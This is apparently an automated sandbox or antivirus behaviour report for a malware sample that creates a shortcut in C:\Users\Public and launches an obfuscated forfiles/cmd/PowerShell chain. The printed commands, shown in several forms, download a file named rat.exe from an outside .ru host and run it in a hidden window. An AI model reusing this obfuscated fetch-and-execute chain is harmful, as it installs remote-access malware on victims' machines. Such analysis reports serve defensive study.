Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\rundll32.exe' url.dll,OpenURL C:\Users\Public\ali.lnk
Modifies file system
Creates the following files
- C:\users\public\ali.lnk
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c "cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://915111.ru/wp-includes/rat.e^xe -o C:\Users\Public\xczuy.exe;C:\Users\Public\xczuy.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c "cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://915111.ru/wp-includes/rat.e^xe -o C:\Users\Public\xczuy.exe;C:\Users\Public\xczuy.exe"
- '<SYSTEM32>\cmd.exe' pow^ers^hell/W 01 c^u^rl htt^ps://915111.ru/wp-includes/rat.e^xe -o C:\Users\Public\xczuy.exe;C:\Users\Public\xczuy.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' /W 01 curl https://915111.ru/wp-includes/rat.exe -o C:\Users\Public\xczuy.exe;C:\Users\Public\xczuy.exe
